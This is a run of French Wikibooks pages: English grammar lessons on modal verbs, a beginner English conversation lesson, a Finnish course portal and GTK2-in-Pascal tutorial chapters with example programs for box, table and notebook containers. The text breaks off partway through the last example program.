utiliser must pour faire une déduction du passé.<br /> <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top><center>sujet + must + have + participe passé</center> </td></tr></table><br />Exemple : He is tired, he must have run too much. ''Il est fatigué, il a dû trop courir. Dans ce cas la forme négative est : sujet + can't + have + participe passé. *Attention à ne pas confondre ''had to'' qui est une obligation dans le passé et must have participe passé qui est une déduction du passé. == Mustn't == Mustn't est la contraction de must not, on l'emploie au présent.<br /> <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top><center>sujet + mustn't + verbe (infinitif)</center> </td></tr></table><br /> ==== Interdiction ==== You mustn't smoke in the house. Tu n'as pas le droit de fumer dans la maison. == To have to == *To have to peut s'employer au futur : <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top><center>sujet + will + have to + verbe (infinitif)</center> </td></tr></table><br /> Exemple : He will have to explain them. ''Il devra leur expliquer.'' *Must ne s'emploie pas au passé, on utilise had to : <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top><center>sujet + had to + verbe (infinitif)</center> </td></tr></table><br /> Exemple : I had to speak English. ''J'ai dû parler anglais.'' <br /> ---- [[Image:Evolution-tasks.png]] Exercices sur les modaux ---- <br />Retour [[Enseignement de l'anglais]] ---- Programmation GTK2 en Pascal - GtkBin 2525 14112 2005-02-13T11:59:20Z Didier 186 ajout modèle conteneurs {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkBin''' est un contrôle conteneur que nous n'allons pas utiliser directement mais qu'on retrouve par héritage dans bon nombre de contrôles (comme par exemple les <code>[[Programmation GTK2 en Pascal - GtkWindow|GtkWindow]]</code> ou les <code>[[Programmation GTK2 en Pascal - GtkButton|GtkButton]]</code>). Sa particularité est de ne pouvoir contenir qu'un seul contrôle. Ce qui est pratique dans le cas du <code>GtkButton</code> qui ne doit contenir de base qu'un label. Mais ce n'est pas limitatif, puisqu'on peut très bien prendre comme contrôle unique un conteneur comme <code>GtkVBox</code> ou <code>GtkHBox</code>. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] |} {{Modèle:Programmation GTK2 en Pascal - Conteneurs}} Image:Programmation GTK2 en Pascal - gtk006-1.png 2526 14113 2005-02-12T17:57:47Z Didier 186 Exemple du programme gtk006.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk006.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk006-2.png 2527 14114 2005-02-12T18:00:56Z Didier 186 Exemple du programme gtk006.pas. Fenêtre redimensionnée. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk006.pas. Fenêtre redimensionnée. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkHBox 2528 14115 2005-02-13T11:59:24Z Didier 186 ajout modèle conteneurs {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkHBox''' est tout simplement une <code>[[Programmation GTK2 en Pascal - GtkBox|GtkBox]]</code> qui va nous permettre d'empiler les contrôles horizontalement. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBox|GtkBox]] └─[[Programmation GTK2 en Pascal - GtkHBox|GtkHBox]] |} == Utilisation de base == === Création d'une GtkHBox === La création d'une <code>GtkHBox</code> se fait tout simplement à l'aide de l'unique fonction disponible pour ce contrôle : function gtk_hbox_new(homogeneous : gboolean; spacing : gint) : PGtkWidget; Le paramètre <code>homogeneous</code> définit si tous les contrôles contenus dans la <code>GtkHBox</code> utilisent un espace équivalent. C'est à dire que si ce paramètre est à TRUE, la zone d'affichage de la <code>GtkHBox</code> sera divisée en x colonnes de taille égale (x étant le nombre de contrôles contenus). Le paramètre <code>spacing</code> permet de définir l'espacement entre chacun des contrôles contenus. === Ajout d'un contrôle === Pour ajouter un contrôle dans une <code>GtkHBox</code>, il faut utiliser les fonctions disponibles pour le contrôle <code>[[Programmation GTK2 en Pascal - GtkBox|GtkBox]]</code>. Cependant, il est nécessaire de savoir que le début d'une <code>GtkHBox</code> est à gauche et que sa fin est à droite. == Programme exemple == Nous allons simplement insérer quatre boutons dans une <code>GtkHBox</code>. Voilà le fichier <code>gtk006.pas</code> : program gtk006; uses glib2, gtk2; var pFenetre : PGtkWidget; pHBox : PGtkWidget; pBouton : array [1..4] of PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk006 : GtkHBox'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkHBox et ajout dans la fenêtre pHBox := gtk_hbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pHBox); // Création des boutons pBouton[1] := gtk_button_new_with_label('Bouton 1'); pBouton[2] := gtk_button_new_with_label('Bouton 2'); pBouton[3] := gtk_button_new_with_label('Bouton 3'); pBouton[4] := gtk_button_new_with_label('Bouton 4'); // Ajout des boutons dans la GtkHBox gtk_box_pack_start(GTK_BOX(pHBox), pBouton[1], TRUE, TRUE, 0); gtk_box_pack_start(GTK_BOX(pHBox), pBouton[2], TRUE, FALSE, 0); gtk_box_pack_start(GTK_BOX(pHBox), pBouton[3], FALSE, FALSE, 0); gtk_box_pack_start(GTK_BOX(pHBox), pBouton[4], FALSE, TRUE, 0); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk006</code> : [[Image:Programmation GTK2 en Pascal - gtk006-1.png]] Récapitulatif des paramètres de <code>gtk_box_pack_start</code> pour chaque bouton (La boîte n'est pas homogène) : {| border="1" cellpadding="2" cellspacing="0" | '''Bouton''' || width=50 | ''expand'' || width=50 | ''fill'' |- | n° 1 || True || True |- | n° 2 || True || False |- | n° 3 || False || False |- | n° 4 || False || True |} Rappel : Quand <code>expand</code> n'est pas positionné, <code>fill</code> n'a aucun effet. La même fenêtre après redimensionnement « à la main » : [[Image:Programmation GTK2 en Pascal - gtk006-2.png]] {{Modèle:Programmation GTK2 en Pascal - Conteneurs}} Anglais : Leçon 1 2529 37570 2006-03-14T14:08:51Z Ponyboy 1255 <table border="1" cellspacing="0" style="background-color: #99CCFF"> <tr ><td>How's it going?</td><td> It's going well ; I am fine ; Okay ; Not so good</td></tr> <tr ><td>Comment ça va ?</td><td> Ça va bien ; Je suis bien ; Ça va ; Pas très bien</td></tr> <tr ><td>What is your name? </td><td>My name is Arnold; I am Arnold </td></tr> <tr ><td>Comment t'appelles-tu ? </td><td>Je m'appelle Arnold ; je suis Arnold</td></tr> <tr ><td>How old are you?</td><td> I am sixteen (years old).</td></tr> <tr ><td>Quel âge as-tu ?</td><td>J'ai seize ans.</td></tr> <tr ><td>Where do you live?</td><td>I live in London.</td></tr> <tr ><td>Où habites-tu ?</td><td>J'habite à Londres.</td></tr> <tr ><td>How many brothers and sisters do you have?</td><td>I have two brothers and one sister.</td></tr> <tr><td>Combien de frères et soeurs as-tu ?</td><td>J'ai deux frères et une soeur.</td></tr> <tr><td>What country are you from?</td><td>I'm French.</td></tr> <tr><td>Quelle est ta nationalité ?</td><td>Je suis français.</td></tr> <tr><td>What's your favourite colour?</td><td>My favourite colour is blue.</td></tr> <tr><td>Quelle est ta couleur préférée ?</td><td>Ma couleur préférée est le bleu.</td></tr> </table> '''Regardez cette conversation:''' John and Anne are two friends: John: Hello, Anne. How are you? Anne: I am well, thank you. And you? John: Me? I'm not so well; I have a headache. Anne: I'm sorry. I hope you feel better soon. John: Thank you. Goodbye, Anne! Anne: Bye, John! [[media:Anglais_leçon1_conversation.ogg|écoutez]] John et Anne sont deux amis : John : Salut, Anne. Comment ça va ? Anne : Je vais bien, merci. Et toi ? John : Moi, ça va pas terrible. J'ai mal à la tête. Anne : Désolée. J'espère que tu iras bientôt mieux. John : Merci. Au revoir, Anne ! Anne : Salut, John ! ---- Retour [[Enseignement de l'anglais]] Image:Programmation GTK2 en Pascal - gtk007.png 2530 14117 2005-02-12T18:10:54Z Didier 186 Exemple du programme gtk007.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk007.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkVBox 2531 14118 2005-02-13T11:59:25Z Didier 186 ajout modèle conteneurs {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkVBox''' est tout simplement une <code>[[Programmation GTK2 en Pascal - GtkBox|GtkBox]]</code> qui va nous permettre d'empiler les contrôles verticalement. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBox|GtkBox]] └─[[Programmation GTK2 en Pascal - GtkVBox|GtkVBox]] |} == Utilisation de base == === Création d'une GtkVBox === La création d'une <code>GtkVBox</code> se fait tout simplement à l'aide de l'unique fonction disponible pour ce contrôle : function gtk_vbox_new(homogeneous : gboolean; spacing : gint) : PGtkWidget; Le paramètre <code>homogeneous</code> définit si tous les contrôles contenus dans la <code>GtkVBox</code> utilisent un espace équivalent. C'est à dire que si ce paramètre est à TRUE, la zone d'affichage de la <code>GtkVBox</code> sera divisée en x lignes de taille égale (x étant le nombre de contrôles contenus). Le paramètre <code>spacing</code> permet de définir l'espacement entre chacun des contrôles contenus. === Ajout d'un contrôle === Pour ajouter un contrôle dans une <code>GtkVBox</code>, il faut utiliser les fonctions disponibles pour le contrôle <code>[[Programmation GTK2 en Pascal - GtkBox|GtkBox]]</code>. Cependant, il est nécessaire de savoir que le début d'une <code>GtkVBox</code> est en haut et que sa fin est en bas. == Programme exemple == Nous allons simplement insérer quatre boutons dans une <code>GtkVBox</code>. Voilà le fichier <code>gtk007.pas</code> : program gtk007; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBouton : array [1..4] of PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk007 : GtkVBox'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox et ajout dans la fenêtre pVBox := gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création des boutons pBouton[1] := gtk_button_new_with_label('Bouton 1'); pBouton[2] := gtk_button_new_with_label('Bouton 2'); pBouton[3] := gtk_button_new_with_label('Bouton 3'); pBouton[4] := gtk_button_new_with_label('Bouton 4'); // Ajout des boutons dans la GtkVBox gtk_box_pack_start(GTK_BOX(pVBox), pBouton[1], TRUE, TRUE, 0); gtk_box_pack_start(GTK_BOX(pVBox), pBouton[2], TRUE, FALSE, 0); gtk_box_pack_start(GTK_BOX(pVBox), pBouton[3], FALSE, FALSE, 0); gtk_box_pack_start(GTK_BOX(pVBox), pBouton[4], FALSE, TRUE, 0); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk007</code> : [[Image:Programmation GTK2 en Pascal - gtk007.png]] Récapitulatif des paramètres de <code>gtk_box_pack_start</code> pour chaque bouton (La boîte n'est pas homogène) : {| border="1" cellpadding="2" cellspacing="0" | '''Bouton''' || width=50 | ''expand'' || width=50 | ''fill'' |- | n° 1 || True || True |- | n° 2 || True || False |- | n° 3 || False || False |- | n° 4 || False || True |} Rappel : Quand <code>expand</code> n'est pas positionné, <code>fill</code> n'a aucun effet. {{Modèle:Programmation GTK2 en Pascal - Conteneurs}} Programmation GTK2 en Pascal - GtkTable 2532 14119 2005-02-13T11:59:29Z Didier 186 ajout modèle conteneurs {{Programmation GTK2 en Pascal}} == Présentation == Dans la famille des conteneurs, voilà sûrement le contrôle le plus intéressant. En effet il peut être parfois douloureux de placer correctement son interface avec l'utilisation de plusieurs <code>[[Programmation GTK2 en Pascal - GtkBox|GtkBox]]</code>. Le contrôle '''GtkTable''' est conçu pour résoudre ce problème car il utilise une grille invisible pour attacher les contrôles mais sans pour autant perdre la puissance de GTK+ avec le redimensionnement automatique. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkTable|GtkTable]] |} == Utilisation de base == Au moment de la création de la <code>GtkTable</code>, nous allons spécifier le nombre de lignes et de colonnes, puis y placer les éléments avec 3 principales caractéristiques : * la position de départ et de fin de l'élément par rapport aux lignes ; * la position de départ et fin de l'élément par rapport aux colonnes ; * la façon de réagir du contrôle (remplir la zone, agrandir, etc.). === Création d'une GtkTable === La fonction de création est : function gtk_table_new(rows : guint; columns : guint; homogeneous : gboolean) : PGtkWidget; Les paramètres <code>rows</code> et <code>columns</code> permettent de définir respectivement le nombre de lignes et de colonnes de la grille. Le paramètre <code>homogeneous</code> quant à lui définit, comme pour une <code>[[Programmation GTK2 en Pascal - GtkBox|GtkBox</code>, si tous les contrôles contenus dans la <code>GtkTable</code> utilisent un espace équivalent. === Insertion d'éléments === La première fonction étudiée est : procedure gtk_table_attach(table : PGtkTable; child : PGtkWidget; left_attach : guint; right_attach : guint; top_attach : guint; bottom_attach : guint; xoptions : TGtkAttachOptions; yoptions : TGtkAttachOptions; xpadding : guint; ypadding : guint); À première vue, cette fonction peut apparaître compliquée, mais elle est en réalité très simple. Le paramètre <code>child</code> représente le contrôle à attacher à la grille, les paramètres <code>left_attach</code> et <code>right_attach</code>, les positions à gauche et à droite du contrôle et les paramètres <code>top_attach</code> et <code>bottom_attach</code>, les positions supérieures et inférieures du contrôle. 0 1 2 3 4 5 0 ┌────┬────┬────┬────┬────┐ | | | | | | 1 ├────┼────┼────┴────┼────┤ | | | | | Coordonnées du contrôle (Contr.) 2 ├────┼────┤ Contr. ├────┤ left_attach = 2, right_attach = 4 | | | | | top_attach = 1, bottom_attach = 3 3 └────┴────┴─────────┴────┘ Les paramètres <code>xoptions</code> et <code>yoptions</code> permettent de spécifier respectivement la façon dont le contrôle réagit horizontalement et verticalement au redimensionnement de la <code>GtkTable</code>. Ces paramètres peuvent prendre 3 valeurs (que l'on peut associer) : * GTK_EXPAND : spécifie que cette section de la grille s'étirera pour remplir l'espace disponible ; * GTK_SHRINK : détermine ce qui se produira s'il y a un espace insuffisant pour répondre à la requête de taille du contrôle enfant, alors le contrôle se voit attribué une allocation réduite, ce qui peut entraîner un effet de « bords coupés » ; * GTK_FILL : spécifie que le contrôle enfant s'étirera pour remplir l'espace disponible, utilisé uniquement si GTK_EXPAND est défini. Les deux derniers paramètres <code>xpadding</code> et <code>ypadding</code> définissent l'espace supplémentaire à ajouter aux bords du contrôle (à droite et à gauche pour le premier, au-dessus et en dessous pour le second). La deuxième fonction est : procedure gtk_table_attach_defaults(table : PGtkTable; widget : PGtkWidget; left_attach : guint; right_attach : guint; top_attach : guint; bottom_attach : guint); Ceci est la version simplifiée de la première fonction car elle définit automatiquement les paramètres <code>xoptions</code> et <code>yoptions</code> à GTK_EXPAND | GTK_FILL et les paramètres <code>xpadding</code> et <code>ypadding</code> à 0. === Modification de la table === Il est possible de changer la taille de la grille après sa création à l'aide de cette fonction : procedure gtk_table_resize(table : PGtkTable; rows : guint; columns : guint); Le paramètre <code>table</code> est la <code>GtkTable</code> à modifier, et les paramètres <code>rows</code> et <code>columns</code> les nouveaux nombres de lignes et de colonnes. Ces deux fonctions permettent de changer l'espace d'une ligne ou d'une colonne spécifique : procedure gtk_table_set_row_spacing(table : PGtkTable; row : guint; spacing : guint); procedure gtk_table_set_col_spacing(table : PGtkTable; column : guint; spacing : guint); La première définit l'espace autour d'une ligne tandis que la deuxième fait la même chose pour une colonne. Celles-ci ont le même rôle que les deux précédentes fonctions, mais agissent sur l'ensemble de la <code>GtkTable</code> : procedure gtk_table_set_row_spacings(table : PGtkTable; spacing : guint); procedure gtk_table_set_col_spacings(table : PGtkTable; spacing : guint); Et pour connaître ces espacements nous avons quatre fonctions différentes : function gtk_table_get_row_spacing(table : PGtkTable; row : guint) : guint; function gtk_table_get_col_spacing(table : PGtkTable; column : guint) : guint; function gtk_table_get_default_row_spacing(table : PGtkTable) : guint; function gtk_table_get_default_col_spacing(table : PGtkTable) : guint; Les deux premières fonctions permettent de connaître l'espace entre la ligne numéro <code>row</code> (ou la colonne numéro <code>column</code>) et sa suivante. Les deux autres fonctions quant à elles, renvoient la valeur par défaut des espacements, c'est à dire la valeur qui sera utilisé au prochain ajout d'un contrôle. == Programme exemple == Nous allons utiliser le même exemple que dans le chapitre sur les <code>[[Programmation GTK2 en Pascal - GtkBox#Programme exemple|GtkBox]]</code>, pour bien montrer la différence au niveau du code. Voilà le fichier <code>gtk008.pas</code> : program gtk008; uses glib2, gtk2; var pFenetre : PGtkWidget; pTable : PGtkWidget; pBouton : array [1..4] of PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk008 : GtkTable'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkTable (3 lignes et 2 colonnes) et ajout dans la fenêtre pTable := gtk_table_new(3, 2, TRUE); gtk_container_add(GTK_CONTAINER(pFenetre), pTable); // Création des boutons pBouton[1] := gtk_button_new_with_label('Bouton 1'); pBouton[2] := gtk_button_new_with_label('Bouton 2'); pBouton[3] := gtk_button_new_with_label('Bouton 3'); pBouton[4] := gtk_button_new_with_label('Bouton 4'); // Ajout des boutons dans la GtkTable gtk_table_attach(GTK_TABLE(pTable), pBouton[1], 0, 2, 0, 1, GTK_EXPAND or GTK_FILL, GTK_EXPAND, 0, 0); gtk_table_attach_defaults(GTK_TABLE(pTable), pBouton[2], 0, 1, 1, 2); gtk_table_attach(GTK_TABLE(pTable), pBouton[3], 1, 2, 1, 2, GTK_EXPAND, GTK_EXPAND or GTK_FILL, 0, 0); gtk_table_attach_defaults(GTK_TABLE(pTable), pBouton[4], 0, 2, 2, 3); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk008</code> : [[Image:Programmation GTK2 en Pascal - gtk008.png]] {{Modèle:Programmation GTK2 en Pascal - Conteneurs}} Enseignement du finnois 2533 29922 2006-01-23T12:06:42Z Boly38 136 +cat Langue <center> <TABLE CELLPADDING=10> <TD> <center>[[Image:Flag of Finland.png|175px|Flag of Finland]]<br><small>''Suomen lippu''</small></center> </TD> <TD> <big><big>finnois ~ français</big></big><br> <big>S'initier au finnois</big><p> <big>[[Finnois:Contenu|Contenu]]</big> </TD> </TABLE> [[Image:Central Helsinki from plane.jpg|375px|A view to the center of Helsinki]]<br> <small>''A view to the center of Helsinki''</small> [[Catégorie:Langue|Finnois]] [[en:Finnish]] Image:Programmation GTK2 en Pascal - gtk008.png 2534 14121 2005-02-12T19:48:56Z Didier 186 Exemple du programme gtk008.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk008.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Anglais : may, might, be allowed to 2535 45490 2006-06-23T15:00:35Z 193.55.10.104 /* Possibilité */ May et might sont des modaux, ils ne prennent pas de -s à la troisième personne du singulier, ils ne sont jamais suivis de to, la négation et l'interrogation se fait sans do. == May == La forme négative de may est may not, on ne le contracte que très rarement en mayn't. ==== Demande de permission (formel)==== Exemple : May I open the door ? ''Puis-je ouvrir la porte.''<br /> She may be ill. Elle peut être malade.'' ==== Eventualité ==== Exemple : You may be right. ''Tu as peut-être raison, il se peut que tu aies raison.''<br /> It may rain. ''Il peut pleuvoir.'' == Might == La forme négative de might est mightn't. ====Possibilité ==== Might exprime des possibilités beaucoup moins fortes qu'avec may.<br /> Exemple : He might come. ''Il se pourrait qu'il vienne.'' ==== Discours indirect ==== Au discours indirect on peut employer may au lieu de might.<br /> Exemple : He said she might come. Il a dit qu'elle allait peut-être venir.'' == To be allowed to == May ne s'emploie qu'au présent, pour l'infinitif on emploie to be allowed to.<br /> Exemple : She'd like to be allowed to go out. ''Elle aimerait avoir la permission de sortir.'' <br />Retour [[Enseignement de l'anglais]] Programmation GTK2 en Pascal - GtkNotebook 2536 14123 2005-02-13T16:08:35Z Didier 186 /* Modification des propriétés des onglets */ + Exemple {{Programmation GTK2 en Pascal}} == Présentation == Nous allons étudier dans ce chapitre les pages à onglets qui sont souvent utilisés dans les fenêtres de configuration. Pour cela nous allons utiliser le contrôle '''GtkNotebook''' qui dérive du contrôle <code>GtkContainer</code>. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkNotebook|GtkNotebook]] |} == Utilisation de base == === Création === Pour ne pas changer la création du contrôle en lui-même est très simple : function gtk_notebook_new : PGtkWidget; Maintenant que notre contrôle est créé, nous allons lui ajouter des pages. === Insertion de pages === Nous avons là aussi trois fonctions qui restent très classiques : procedure gtk_notebook_append_page(notebook : PGtkNotebook; child : PGtkWidget; tab_label : PGtkWidget); procedure gtk_notebook_prepend_page(notebook : PGtkNotebook; child : PGtkWidget; tab_label : PGtkWidget); procedure gtk_notebook_insert_page(notebook : PGtkNotebook; child : PGtkWidget; tab_label : PGtkWidget; position : gint); La première fonction ajoute une nouvelle page à onglet à la suite des autres, la deuxième fonction l'ajoute au début, et la dernière l'ajoute à une position particulière. Le premier paramètre, <code>notebook</code>, est bien sûr le <code>GtkNotebook</code> dans lequel nous voulons ajouter la page. Il faudra utiliser la fonction de conversion GTK_NOTEBOOK(). Le second, <code>child</code>, est le contrôle qui sera inséré dans la nouvelle page, et le troisième, <code>tab_label</code>, le contrôle qui sera affiché dans l'onglet. La troisième fonction demande un paramètre supplémentaire, <code>position</code>, qui est la position à laquelle il faut ajouter la page. Si la valeur n'est pas correcte (négative ou trop grande) la page sera ajoutée à la suite des autres. === Gestion des pages === Nous allons maintenant voir les fonctions qui permettent de connaître le nombre de page, la page en cours ainsi que d'autres fonctions. Tout d'abord, la fonction suivante permet de connaître le nombre total de pages contenus dans le <code>GtkNotebook</code>. ''Bizarrement cette fonction n'existe pas dans les déclarations de gtk2forpascal ! Pour l'utiliser, il faudra donc la déclarer manuellement'' : function gtk_notebook_get_n_pages(notebook : PGtkNotebook) : gint; cdecl; external gtklib; Ensuite, pour connaître le numéro de la page courante, nous avons cette fonction : function gtk_notebook_get_current_page(notebook : PGtkNotebook) : gint; Par contre pour connaître le numéro d'une autre page que la courante, il faudra utiliser cette fonction : function gtk_notebook_page_num(notebook : PGtkNotebook; child : PGtkWidget) : gint; Cette fonction permet d'obtenir le numéro de la page contenant le contrôle <code>child</code>, ce qui impose donc d'avoir garder une trace de ce contrôle pour pouvoir utiliser cette fonction. Avec un numéro de page, nous allons pouvoir récupérer un pointeur sur le contrôle qui est contenu dans la page avec cette fonction : function gtk_notebook_get_nth_page(notebook : PGtkNotebook; page_num : gint) : PGtkWidget; Ou bien nous allons pouvoir tout simplement supprimer la page : procedure gtk_notebook_remove_page(notebook : PGtkNotebook; page_num : gint); Et pour terminer, voici trois fonctions de navigation : procedure gtk_notebook_next_page(notebook : PGtkNotebook); procedure gtk_notebook_prev_page(notebook : PGtkNotebook); procedure gtk_notebook_set_current_page(notebook : PGtkNotebook; page_num : gint); La première fonction passe de la page courante à la page suivante. Si la dernière page est déjà affichée, il ne se passera rien. La deuxième fonction, elle, passe de la page courante à la page précédente. Bien entendu, si la page courante est déjà la première cette fonction n'aura aucun effet. La dernière fonction quant à elle passe directement à une page précise. Si la valeur de <code>page_num</code> est négative, nous passerons à la dernière page, par contre si cette valeur est trop grande, aucune action ne sera faite. === Gestion des labels === Nous allons maintenant voir comment modifier ou récupérer le label d'une page. Attention pour chacune de ces fonctions, il faut connaître le contrôle contenu dans la page. Tout d'abord, pour récupérer le label de la page, il existe deux fonctions différentes : function gtk_notebook_get_tab_label_text(notebook : PGtkNotebook; child : PGtkWidget) : Pgchar; function gtk_notebook_get_tab_label(notebook : PGtkNotebook; child : PGtkWidget) : PGtkWidget; La première fonction renvoie directement le label de la page sous la forme d'un <code>Pgchar</code>. Cette fonction fonctionnera correctement uniquement si le label de la page est un <code>GtkLabel</code>, car comme nous l'avons vu lors de l'étude des fonctions d'insertion des pages, il est possible de définir le label comme autre chose qu'un <code>GtkLabel</code>. Dans ce cas, il faut utiliser la deuxième fonction qui elle renvoie le contrôle qui a été utilisé lors de la création. Pour définir un nouveau label pour une page, il existe là aussi deux fonctions : procedure gtk_notebook_set_tab_label_text(notebook : PGtkNotebook; child : PGtkWidget; tab_text : Pgchar); procedure gtk_notebook_set_tab_label(notebook : PGtkNotebook; child : PGtkWidget; tab_label : PGtkWidget); La première fonction permet de définir un label de type <code>GtkLabel</code>. Cette fonction s'occupe de la création du <code>GtkLabel</code> et de son insertion dans l'onglet de la page. La deuxième fonction permet d'insérer n'importe quel contrôle dans l'onglet, comme pour les fonctions de création. Dans les deux cas, si les paramètres <code>tab_text</code> ou <code>tab_label</code> sont définis comme NULL, le label de la page sera « Page y », y étant le numéro de la page. === Modification des propriétés des onglets === Nous allons maintenant voir comment modifier trois des propriétés d'un <code>GtkNotebook</code>. Tout d'abord voyons comment gérer la position des onglets : procedure gtk_notebook_set_tab_pos(notebook : PGtkNotebook; pos : TGtkPositionType); function gtk_notebook_get_tab_pos(notebook : PGtkNotebook) : TGtkPositionType; La première fonction permet de modifier la position des onglets. C'est le paramètre pos qui définit sa position, et il doit prendre une des valeurs suivantes : * GTK_POS_LEFT pour les mettre à gauche ; * GTK_POS_RIGHT pour les mettre à droite ; * GTK_POS_TOP pour les mettre en haut ; * GTK_POS_BOTTOM pour les mettre en bas. La deuxième fonction permet au contraire de connaître la position des onglets. La valeur de retour est obligatoirement une des quatre valeurs précédentes. Ensuite nous allons pouvoir définir si les onglets doivent s'afficher ou pas avec ces fonctions : procedure gtk_notebook_set_show_tabs(notebook : PGtkNotebook; show_tabs : gboolean); function gtk_notebook_get_show_tabs(notebook : PGtkNotebook) : gboolean; Si nous voulons modifier ce paramètre, il faut utiliser la première fonction en mettant le paramètre <code>show_tabs</code> à TRUE pour les afficher et à FALSE dans le cas contraire. La deuxième fonction permet quant à elle de connaître l'état de cette propriété. Et enfin, pour terminer nous allons voir comment ajouter deux boutons de navigation à la fin des onglets, pour le cas où il y aurait trop d'onglets à afficher : procedure gtk_notebook_set_scrollable(notebook : PGtkNotebook; scrollable : gboolean); function gtk_notebook_get_scrollable(notebook : PGtkNotebook) : gboolean; Si nous mettons le paramètre <code>scrollable</code> de la première fonction à TRUE, deux boutons de navigation apparaîtront et une partie seulement des onglets sera affichée. Pour accéder aux autres onglets il faudra utiliser ces nouveaux boutons. Bien entendu, la deuxième fonction permet de savoir si les boutons de navigation sont présents ou pas. == Programme exemple == Nous allons créer un programme qui insèrera un <code>GtkNotebook</code> de 8 pages dans une fenêtre. Chaque page contiendra uniquement un label « Je suis le GtkLabel numero x ». Il y a aussi un bouton qui permettra d'afficher les informations de la page sélectionnée dans une boîte de dialogue. Voilà le fichier <code>gtk009.pas</code> : program gtk009; uses glib2, gtk2, SysUtils; procedure OnBoutonClick(ABouton : 